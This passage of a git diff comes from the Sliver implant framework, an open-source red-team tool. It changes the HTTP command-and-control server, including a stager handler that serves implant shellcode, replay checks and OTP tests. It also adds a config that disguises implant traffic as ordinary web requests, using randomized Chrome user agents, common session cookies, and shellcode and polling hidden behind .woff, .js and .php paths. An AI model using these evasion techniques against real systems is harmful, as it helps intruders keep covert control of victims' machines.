|
||||
R: req.Body,
|
||||
N: int64(s.ServerConf.MaxRequestLength),
|
||||
})
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to read request body %s", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
data, err := encoder.Decode(body)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to decode body %s", err)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return nil, ErrDecodeFailed
|
||||
}
|
||||
|
||||
if httpSession.isReplayAttack(data) {
|
||||
httpLog.Warn("Replay attack detected")
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return nil, ErrReplayAttack
|
||||
}
|
||||
plaintext, err := cryptography.GCMDecrypt(httpSession.Key, data)
|
||||
return plaintext, err
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) getPollTimeout() time.Duration {
|
||||
if s.ServerConf.LongPollJitter < 0 {
|
||||
s.ServerConf.LongPollJitter = 0
|
||||
}
|
||||
min := s.ServerConf.LongPollTimeout
|
||||
max := s.ServerConf.LongPollTimeout + s.ServerConf.LongPollJitter
|
||||
timeout := min + insecureRand.Float32()*(max-min)
|
||||
pollTimeout := time.Duration(timeout) * time.Second
|
||||
if pollTimeout < minPollTimeout {
|
||||
httpLog.Warnf("Poll timeout is too short, using default minimum %v", minPollTimeout)
|
||||
pollTimeout = minPollTimeout
|
||||
}
|
||||
return pollTimeout
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) randomEtag() string {
|
||||
buf := make([]byte, 16)
|
||||
rand.Read(buf)
|
||||
return hex.EncodeToString(buf[:])
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Close request")
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
httpLog.Infof("No session with id %#v", httpSession.ID)
|
||||
resp.WriteHeader(403)
|
||||
resp.WriteHeader(http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
|
||||
nonce := []byte(req.URL.Query().Get("nonce"))
|
||||
if httpSession.isReplayAttack(nonce) {
|
||||
httpLog.Warn("Replay attack detected")
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
_, err := cryptography.GCMDecrypt(httpSession.Key, nonce)
|
||||
_, err := s.readReqBody(httpSession, resp, req)
|
||||
if err != nil {
|
||||
httpLog.Warnf("GCM decryption failed %v", err)
|
||||
resp.WriteHeader(404)
|
||||
httpLog.Errorf("Failed to read request body %s", err)
|
||||
resp.WriteHeader(http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
|
||||
core.Sessions.Remove(httpSession.Session.ID)
|
||||
s.HTTPSessions.Remove(httpSession.ID)
|
||||
resp.WriteHeader(200)
|
||||
resp.WriteHeader(http.StatusAccepted)
|
||||
}
|
||||
|
||||
// stagerHander - Serves the sliver shellcode to the stager requesting it
|
||||
func (s *SliverHTTPC2) stagerHander(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Stager request")
|
||||
if len(s.SliverStage) != 0 {
|
||||
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
|
||||
resp.Write(s.SliverStage)
|
||||
httpLog.Infof("Serving sliver shellcode (size %d) to %s", len(s.SliverStage), getRemoteAddr(req))
|
||||
resp.WriteHeader(200)
|
||||
resp.WriteHeader(http.StatusOK)
|
||||
} else {
|
||||
resp.WriteHeader(404)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) getHTTPSession(req *http.Request) *HTTPSession {
|
||||
for _, cookie := range req.Cookies() {
|
||||
if cookie.Name == sessionCookieName {
|
||||
httpSession := s.HTTPSessions.Get(cookie.Value)
|
||||
if httpSession != nil {
|
||||
httpSession.Session.UpdateCheckin()
|
||||
return httpSession
|
||||
}
|
||||
return nil
|
||||
httpSession := s.HTTPSessions.Get(cookie.Value)
|
||||
if httpSession != nil {
|
||||
httpSession.Session.UpdateCheckin()
|
||||
return httpSession
|
||||
}
|
||||
}
|
||||
return nil // No valid cookie names
|
||||
@@ -596,7 +762,7 @@ func getRemoteAddr(req *http.Request) string {
|
||||
// input we don't want to trust it.
|
||||
ip := net.ParseIP(ipAddress)
|
||||
if ip == nil {
|
||||
httpLog.Warnf("Failed to parse X-Header as ip address")
|
||||
httpLog.Warn("Failed to parse X-Header as ip address")
|
||||
return req.RemoteAddr
|
||||
}
|
||||
return fmt.Sprintf("tcp(%s)->%s", req.RemoteAddr, ip.String())
|
||||
@@ -0,0 +1,138 @@
|
||||
package c2
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
insecureRand "math/rand"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
implantTransports "github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
)
|
||||
|
||||
func TestRsaKeyHandler(t *testing.T) {
|
||||
certs.SetupCAs()
|
||||
server, err := StartHTTPSListener(&HTTPServerConfig{
|
||||
Addr: "127.0.0.1:8888",
|
||||
EnforceOTP: true,
|
||||
})
|
||||
if err != nil {
|
||||
t.Errorf("Listener failed to start %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
router := server.router()
|
||||
|
||||
// Missing parameters
|
||||
rr := httptest.NewRecorder()
|
||||
req, _ := http.NewRequest("GET", "/test/foo.txt", nil)
|
||||
router.ServeHTTP(rr, req)
|
||||
if status := rr.Code; status != http.StatusNotFound {
|
||||
t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusNotFound)
|
||||
}
|
||||
|
||||
// Invalid OTP code
|
||||
for i := 0; i < 100; i++ {
|
||||
rr = httptest.NewRecorder()
|
||||
req, _ = http.NewRequest("GET", fmt.Sprintf("/test/foo.txt?aa=%d", insecureRand.Intn(99999999)), nil)
|
||||
router.ServeHTTP(rr, req)
|
||||
if status := rr.Code; status != http.StatusNotFound {
|
||||
t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusNotFound)
|
||||
}
|
||||
}
|
||||
|
||||
// Valid OTP code
|
||||
client := implantTransports.SliverHTTPClient{}
|
||||
baseURL := &url.URL{
|
||||
Scheme: "http",
|
||||
Host: "127.0.0.1:8888",
|
||||
Path: "/test/foo.txt",
|
||||
}
|
||||
nonce, _ := implantEncoders.RandomEncoder()
|
||||
testURL := client.NonceQueryArgument(baseURL, nonce)
|
||||
|
||||
now := time.Now().UTC()
|
||||
opts := totp.ValidateOpts{
|
||||
Digits: 8,
|
||||
Algorithm: otp.AlgorithmSHA256,
|
||||
Period: uint(30),
|
||||
Skew: uint(1),
|
||||
}
|
||||
secret, _ := cryptography.TOTPServerSecret()
|
||||
code, _ := totp.GenerateCodeCustom(secret, now, opts)
|
||||
|
||||
testURL = client.OTPQueryArgument(baseURL, code)
|
||||
rr = httptest.NewRecorder()
|
||||
req, _ = http.NewRequest("GET", testURL.String(), nil)
|
||||
router.ServeHTTP(rr, req)
|
||||
if status := rr.Code; status != http.StatusOK {
|
||||
t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusOK)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func TestGetOTPFromURL(t *testing.T) {
|
||||
client := implantTransports.SliverHTTPClient{}
|
||||
|
||||
for i := 0; i < 100; i++ {
|
||||
baseURL := &url.URL{
|
||||
Scheme: "http",
|
||||
Host: "127.0.0.1:8888",
|
||||
Path: "/test/foo.txt",
|
||||
}
|
||||
value := fmt.Sprintf("%d", insecureRand.Intn(99999999))
|
||||
testURL := client.OTPQueryArgument(baseURL, value)
|
||||
urlValue, err := getOTPFromURL(testURL)
|
||||
if err != nil {
|
||||
t.Error(err)
|
||||
}
|
||||
if urlValue != value {
|
||||
t.Fatalf("Mismatched OTP values %s (%s != %s)", testURL.String(), value, urlValue)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetNonceFromURL(t *testing.T) {
|
||||
client := implantTransports.SliverHTTPClient{}
|
||||
for i := 0; i < 100; i++ {
|
||||
baseURL := &url.URL{
|
||||
Scheme: "http",
|
||||
Host: "127.0.0.1:8888",
|
||||
Path: "/test/foo.txt",
|
||||
}
|
||||
nonce, _ := implantEncoders.RandomEncoder()
|
||||
testURL := client.NonceQueryArgument(baseURL, nonce)
|
||||
urlNonce, err := getNonceFromURL(testURL)
|
||||
if err != nil {
|
||||
t.Error(err)
|
||||
}
|
||||
if urlNonce != nonce {
|
||||
t.Fatalf("Mismatched encoder nonces %s (%d != %d)", testURL.String(), nonce, urlNonce)
|
||||
}
|
||||
}
|
||||
}
|
||||
+4
-4
@@ -223,8 +223,8 @@ func StartHTTPListenerJob(conf *HTTPServerConfig) (*core.Job, error) {
|
||||
|
||||
go func() {
|
||||
var err error
|
||||
if server.Conf.Secure {
|
||||
if server.Conf.ACME {
|
||||
if server.ServerConf.Secure {
|
||||
if server.ServerConf.ACME {
|
||||
err = server.HTTPServer.ListenAndServeTLS("", "") // ACME manager pulls the certs under the hood
|
||||
} else {
|
||||
err = listenAndServeTLS(server.HTTPServer, conf.Cert, conf.Key)
|
||||
@@ -315,8 +315,8 @@ func StartHTTPStagerListenerJob(conf *HTTPServerConfig, data []byte) (*core.Job,
|
||||
|
||||
go func() {
|
||||
var err error
|
||||
if server.Conf.Secure {
|
||||
if server.Conf.ACME {
|
||||
if server.ServerConf.Secure {
|
||||
if server.ServerConf.ACME {
|
||||
err = server.HTTPServer.ListenAndServeTLS("", "") // ACME manager pulls the certs under the hood
|
||||
} else {
|
||||
err = listenAndServeTLS(server.HTTPServer, conf.Cert, conf.Key)
|
||||
|
||||
File renamed without changes.
@@ -1,5 +1,23 @@
|
||||
package c2
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
@@ -25,7 +43,7 @@ var (
|
||||
tunIP = "100.64.0.1" // Don't let user configure this for now
|
||||
)
|
||||
|
||||
// StartWGListener - First ceates an inet.af network stack.
|
||||
// StartWGListener - First creates an inet.af network stack.
|
||||
// then creates a Wireguard device/interface and applies configuration.
|
||||
// Go routines are spun up to handle key exchange connections, as well
|
||||
// as c2 comms connections.
|
||||
@@ -146,8 +164,7 @@ func handleKeyExchangeConnection(conn net.Conn) {
|
||||
} else {
|
||||
wgLog.Infof("Successfully generated new wg keys")
|
||||
message := implantPrivKey + "|" + serverPubKey + "|" + string(ip)
|
||||
|
||||
wgLog.Infof("Sending new wg keys and IP: %s", message)
|
||||
wgLog.Debugf("Sending new wg keys and IP: %s", message)
|
||||
conn.Write([]byte(message))
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,489 @@
|
||||
package configs
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"path"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
)
|
||||
|
||||
const (
|
||||
httpC2ConfigFileName = "http-c2.json"
|
||||
chromeBaseVer = 89
|
||||
)
|
||||
|
||||
// HTTPC2Config - Parent config file struct for implant/server
|
||||
type HTTPC2Config struct {
|
||||
ImplantConfig *HTTPC2ImplantConfig `json:"implant_config"`
|
||||
ServerConfig *HTTPC2ServerConfig `json:"server_config"`
|
||||
}
|
||||
|
||||
// GenerateUserAgent - Generate a user-agent depending on OS/Arch
|
||||
func (h *HTTPC2Config) GenerateUserAgent(goos string, goarch string) string {
|
||||
return h.generateChromeUserAgent(goos, goarch)
|
||||
}
|
||||
|
||||
func (h *HTTPC2Config) generateChromeUserAgent(goos string, goarch string) string {
|
||||
if h.ImplantConfig.UserAgent == "" {
|
||||
switch goos {
|
||||
case "windows":
|
||||
switch goarch {
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
}
|
||||
|
||||
case "linux":
|
||||
switch goarch {
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
}
|
||||
|
||||
case "darwin":
|
||||
switch goarch {
|
||||
case "arm64":
|
||||
fallthrough // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/navigator_id.cc;l=76
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
}
|
||||
|
||||
}
|
||||
} else {
|
||||
return h.ImplantConfig.UserAgent
|
||||
}
|
||||
|
||||
// Default is a generic Windows/Chrome
|
||||
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
}
|
||||
|
||||
// ChromeVer - Generate a random Chrome user-agent
|
||||
func (h *HTTPC2Config) ChromeVer() string {
|
||||
return fmt.Sprintf("%d.0.%d.%d", chromeBaseVer+insecureRand.Intn(3), 1000+insecureRand.Intn(8999), insecureRand.Intn(999))
|
||||
}
|
||||
|
||||
// RandomImplantConfig - Randomly generate a config
|
||||
func (h *HTTPC2Config) RandomImplantConfig() *HTTPC2ImplantConfig {
|
||||
config := &HTTPC2ImplantConfig{}
|
||||
*config = *h.ImplantConfig
|
||||
|
||||
config.KeyExchangeFiles = h.ImplantConfig.RandomKeyExchangeFiles()
|
||||
config.KeyExchangePaths = h.ImplantConfig.RandomKeyExchangePaths()
|
||||
|
||||
config.PollFiles = h.ImplantConfig.RandomPollFiles()
|
||||
config.PollPaths = h.ImplantConfig.RandomPollPaths()
|
||||
|
||||
config.SessionFiles = h.ImplantConfig.RandomSessionFiles()
|
||||
config.SessionPaths = h.ImplantConfig.RandomSessionPaths()
|
||||
|
||||
config.CloseFiles = h.ImplantConfig.RandomCloseFiles()
|
||||
config.ClosePaths = h.ImplantConfig.RandomClosePaths()
|
||||
|
||||
return config
|
||||
}
|
||||
|
||||
type HTTPHeader struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
|
||||
// HTTPC2ServerConfig - Server configuration options
|
||||
type HTTPC2ServerConfig struct {
|
||||
RandomVersionHeaders bool `json:"random_version_headers"`
|
||||
ExtraHeaders []HTTPHeader `json:"headers"`
|
||||
Cookies []string `json:"cookies"`
|
||||
}
|
||||
|
||||
// HTTPC2ImplantConfig - Implant configuration options
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .css = start
|
||||
// .php = session
|
||||
// .js = poll
|
||||
// .png = stop
|
||||
// .woff = sliver shellcode
|
||||
type HTTPC2ImplantConfig struct {
|
||||
UserAgent string `json:"user_agent"`
|
||||
URLParameters []string `json:"url_parameters"`
|
||||
Headers []string `json:"headers"`
|
||||
|
||||
MaxFiles int `json:"max_files"`
|
||||
MinFiles int `json:"min_files"`
|
||||
MaxPaths int `json:"max_paths"`
|
||||
MinPaths int `json:"min_paths"`
|
||||
|
||||
// Stager File Extension
|
||||
StagerFileExt string `json:"stager_file_ext"`
|
||||
|
||||
// Key Exchange (default .txt) files and paths
|
||||
KeyExchangeFileExt string `json:"key_exchange_file_ext"`
|
||||
KeyExchangeFiles []string `json:"key_exchange_files"`
|
||||
KeyExchangePaths []string `json:"key_exchange_paths"`
|
||||
|
||||
// Poll files and paths
|
||||
PollFileExt string `json:"poll_file_ext"`
|
||||
PollFiles []string `json:"poll_files"`
|
||||
PollPaths []string `json:"poll_paths"`
|
||||
|
||||
// Session files and paths
|
||||
StartSessionFileExt string `json:"start_session_file_ext"`
|
||||
SessionFileExt string `json:"session_file_ext"`
|
||||
SessionFiles []string `json:"session_files"`
|
||||
SessionPaths []string `json:"session_paths"`
|
||||
|
||||
// Close session files and paths
|
||||
CloseFileExt string `json:"close_file_ext"`
|
||||
CloseFiles []string `json:"close_files"`
|
||||
ClosePaths []string `json:"close_paths"`
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomKeyExchangeFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.KeyExchangeFiles, h.KeyExchangeFileExt, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomKeyExchangePaths() []string {
|
||||
return h.randomSample(h.KeyExchangePaths, "", h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomPollFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.PollFiles, h.PollFileExt, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomPollPaths() []string {
|
||||
return h.randomSample(h.PollPaths, "", h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomCloseFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.CloseFiles, h.CloseFileExt, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomClosePaths() []string {
|
||||
return h.randomSample(h.ClosePaths, "", h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomSessionFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.SessionFiles, h.SessionFileExt, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomSessionPaths() []string {
|
||||
return h.randomSample(h.SessionPaths, "", h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) randomSample(values []string, ext string, min int, max int) []string {
|
||||
count := insecureRand.Intn(len(values))
|
||||
if count < min {
|
||||
count = min
|
||||
}
|
||||
if max < count {
|
||||
count = max
|
||||
}
|
||||
sample := []string{}
|
||||
for i := 0; len(sample) < count; i++ {
|
||||
index := (count + i) % len(values)
|
||||
sample = append(sample, values[index])
|
||||
}
|
||||
return sample
|
||||
}
|
||||
|
||||
var (
|
||||
httpC2ConfigLog = log.NamedLogger("config", "http-c2")
|
||||
|
||||
defaultHTTPC2Config = HTTPC2Config{
|
||||
ServerConfig: &HTTPC2ServerConfig{
|
||||
RandomVersionHeaders: true,
|
||||
Cookies: []string{
|
||||
"PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS",
|
||||
},
|
||||
},
|
||||
ImplantConfig: &HTTPC2ImplantConfig{
|
||||
UserAgent: "", // Blank string is rendered as randomized platform user-agent
|
||||
MaxFiles: 8,
|
||||
MinFiles: 2,
|
||||
MaxPaths: 8,
|
||||
MinPaths: 2,
|
||||
|
||||
StagerFileExt: ".woff",
|
||||
|
||||
KeyExchangeFileExt: ".txt",
|
||||
KeyExchangeFiles: []string{
|
||||
"robots", "sample", "readme", "example",
|
||||
},
|
||||
KeyExchangePaths: []string{
|
||||
"static", "www", "assets", "text", "docs", "sample", "data", "readme",
|
||||
"examples",
|
||||
},
|
||||
|
||||
PollFileExt: ".js",
|
||||
PollFiles: []string{
|
||||
"bootstrap", "bootstrap.min", "jquery.min", "jquery", "route",
|
||||
"app", "app.min", "array", "backbone", "script", "email",
|
||||
},
|
||||
PollPaths: []string{
|
||||
"js", "umd", "assets", "bundle", "bundles", "scripts", "script", "javascripts",
|
||||
"javascript", "jscript",
|
||||
},
|
||||
|
||||
StartSessionFileExt: ".phtml",
|
||||
SessionFileExt: ".php",
|
||||
SessionFiles: []string{
|
||||
"login", "signin", "api", "samples", "rpc", "index",
|
||||
"admin", "register", "sign-up",
|
||||
},
|
||||
SessionPaths: []string{
|
||||
"php", "api", "upload", "actions", "rest", "v1", "auth", "authenticate",
|
||||
"oauth", "oauth2", "oauth2callback", "database", "db", "namespaces",
|
||||
},
|
||||
|
||||
CloseFileExt: ".png",
|
||||
CloseFiles: []string{
|
||||
"favicon", "sample", "example",
|
||||
},
|
||||
ClosePaths: []string{
|
||||
"static", "www", "assets", "images", "icons", "image", "icon", "png",
|
||||
},
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
// GetHTTPC2ConfigPath - File path to http-c2.json
|
||||
func GetHTTPC2ConfigPath() string {
|
||||
appDir := assets.GetRootAppDir()
|
||||
httpC2ConfigPath := path.Join(appDir, "configs", httpC2ConfigFileName)
|
||||
return httpC2ConfigPath
|
||||
}
|
||||
|
||||
// GetHTTPC2Config - Get the current HTTP C2 config
|
||||
func GetHTTPC2Config() *HTTPC2Config {
|
||||
configPath := GetHTTPC2ConfigPath()
|
||||
if _, err := os.Stat(configPath); os.IsNotExist(err) {
|
||||
err = generateDefaultConfig(configPath)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Failed to generate http c2 config %s", err)
|
||||
return &defaultHTTPC2Config
|
||||
}
|
||||
}
|
||||
data, err := ioutil.ReadFile(configPath)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Failed to read http c2 config %s", err)
|
||||
return &defaultHTTPC2Config
|
||||
}
|
||||
config := &HTTPC2Config{}
|
||||
err = json.Unmarshal(data, config)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err)
|
||||
return &defaultHTTPC2Config
|
||||
}
|
||||
err = CheckHTTPC2Config(config)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Invalid http c2 config: %s", err)
|
||||
return &defaultHTTPC2Config
|
||||
}
|
||||
return config
|
||||
}
|
||||
|
||||
func generateDefaultConfig(saveTo string) error {
|
||||
data, err := json.MarshalIndent(defaultHTTPC2Config, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return ioutil.WriteFile(saveTo, data, 0600)
|
||||
}
|
||||
|
||||
var (
|
||||
ErrMissingCookies = errors.New("server config must specify at least one cookie")
|
||||
ErrMissingStagerFileExt = errors.New("implant config must specify a stager_file_ext")
|
||||
ErrMissingPollFileExt = errors.New("implant config must specify a poll_file_ext")
|
||||
ErrTooFewPollFiles = errors.New("implant config must specify at least one poll_files value")
|
||||
ErrMissingKeyExchangeFileExt = errors.New("implant config must specify a key_exchange_file_ext")
|
||||
ErrTooFewKeyExchangeFiles = errors.New("implant config must specify at least one key_exchange_files value")
|
||||
ErrMissingCloseFileExt = errors.New("implant config must specify a close_file_ext")
|
||||
ErrTooFewCloseFiles = errors.New("implant config must specify at least one close_files value")
|
||||
ErrMissingStartSessionFileExt = errors.New("implant config must specify a start_session_file_ext")
|
||||
ErrMissingSessionFileExt = errors.New("implant config must specify a session_file_ext")
|
||||
ErrTooFewSessionFiles = errors.New("implant config must specify at least one session_files value")
|
||||
ErrNonuniqueFileExt = errors.New("implant config must specify unique file extensions")
|
||||
|
||||
fileNameExp = regexp.MustCompile("[^a-zA-Z0-9\\._-]+")
|
||||
)
|
||||
|
||||
// CheckHTTPC2Config - Validate the HTTP C2 config, coerces common mistakes
|
||||
func CheckHTTPC2Config(config *HTTPC2Config) error {
|
||||
err := checkServerConfig(config.ServerConfig)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return checkImplantConfig(config.ImplantConfig)
|
||||
}
|
||||
|
||||
func coerceFileExt(value string) string {
|
||||
value = fileNameExp.ReplaceAllString(value, "")
|
||||
for strings.HasPrefix(value, ".") {
|
||||
value = strings.TrimPrefix(value, ".")
|
||||
}
|
||||
return value
|
||||
}
|
||||
|
||||
func coerceFiles(values []string, ext string) []string {
|
||||
values = uniqueFileName(values)
|
||||
coerced := []string{}
|
||||
for _, value := range values {
|
||||
if strings.HasSuffix(value, fmt.Sprintf(".%s", ext)) {
|
||||
value = strings.TrimSuffix(value, fmt.Sprintf(".%s", ext))
|
||||
}
|
||||
coerced = append(coerced, value)
|
||||
}
|
||||
return coerced
|
||||
}
|
||||
|
||||
func uniqueFileName(strSlice []string) []string {
|
||||
allKeys := make(map[string]bool)
|
||||
list := []string{}
|
||||
for _, item := range strSlice {
|
||||
item = fileNameExp.ReplaceAllString(item, "")
|
||||
if len(item) < 1 {
|
||||
continue
|
||||
}
|
||||
if _, value := allKeys[item]; !value {
|
||||
allKeys[item] = true
|
||||
list = append(list, item)
|
||||
}
|
||||
}
|
||||
return list
|
||||
}
|
||||
|
||||
func checkServerConfig(config *HTTPC2ServerConfig) error {
|
||||
if len(config.Cookies) < 1 {
|
||||
return ErrMissingCookies
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func checkImplantConfig(config *HTTPC2ImplantConfig) error {
|
||||
|
||||
// MinFiles and MaxFiles
|
||||
if config.MinFiles < 1 {
|
||||
config.MinFiles = 1
|
||||
}
|
||||
if config.MaxFiles < config.MinFiles {
|
||||
config.MaxFiles = config.MinFiles
|
||||
}
|
||||
|
||||
// MinPaths and MaxPaths
|
||||
if config.MinPaths < 0 {
|
||||
config.MinPaths = 0
|
||||
}
|
||||
if config.MaxPaths < config.MinPaths {
|
||||
config.MaxPaths = config.MinPaths
|
||||
}
|
||||
|
||||
// Stager
|
||||
config.StagerFileExt = coerceFileExt(config.StagerFileExt)
|
||||
if config.StagerFileExt == "" {
|
||||
return ErrMissingStagerFileExt
|
||||
}
|
||||
|
||||
// Key Exchange
|
||||
config.KeyExchangeFileExt = coerceFileExt(config.KeyExchangeFileExt)
|
||||
if config.KeyExchangeFileExt == "" {
|
||||
return ErrMissingKeyExchangeFileExt
|
||||
}
|
||||
config.KeyExchangeFiles = coerceFiles(config.KeyExchangeFiles, config.KeyExchangeFileExt)
|
||||
if len(config.KeyExchangeFiles) < 1 {
|
||||
return ErrTooFewKeyExchangeFiles
|
||||
}
|
||||
|
||||
// Poll Settings
|
||||
config.PollFileExt = coerceFileExt(config.PollFileExt)
|
||||
if config.PollFileExt == "" {
|
||||
return ErrMissingPollFileExt
|
||||
}
|
||||
config.PollFiles = coerceFiles(config.PollFiles, config.PollFileExt)
|
||||
if len(config.PollFiles) < 1 {
|
||||
return ErrTooFewPollFiles
|
||||
}
|
||||
|
||||
// Session Settings
|
||||
config.StartSessionFileExt = coerceFileExt(config.StartSessionFileExt)
|
||||
if config.StartSessionFileExt == "" {
|
||||
return ErrMissingStartSessionFileExt
|
||||
}
|
||||
config.SessionFileExt = coerceFileExt(config.SessionFileExt)
|
||||
if config.SessionFileExt == "" {
|
||||
return ErrMissingSessionFileExt
|
||||
}
|
||||
config.SessionFiles = coerceFiles(config.SessionFiles, config.StartSessionFileExt)
|
||||
config.SessionFiles = coerceFiles(config.SessionFiles, config.SessionFileExt)
|
||||
if len(config.SessionFiles) < 1 {
|
||||
return ErrTooFewSessionFiles
|
||||
}
|
||||
|
||||
// Close Settings
|
||||
config.CloseFileExt = coerceFileExt(config.CloseFileExt)
|
||||
if config.CloseFileExt == "" {
|
||||
return ErrMissingCloseFileExt
|
||||
}
|
||||
config.CloseFiles = coerceFiles(config.CloseFiles, config.CloseFileExt)
|
||||
if len(config.CloseFiles) < 1 {
|
||||
return ErrTooFewCloseFiles
|
||||
}
|
||||
|
||||
// Unique file extensions
|
||||
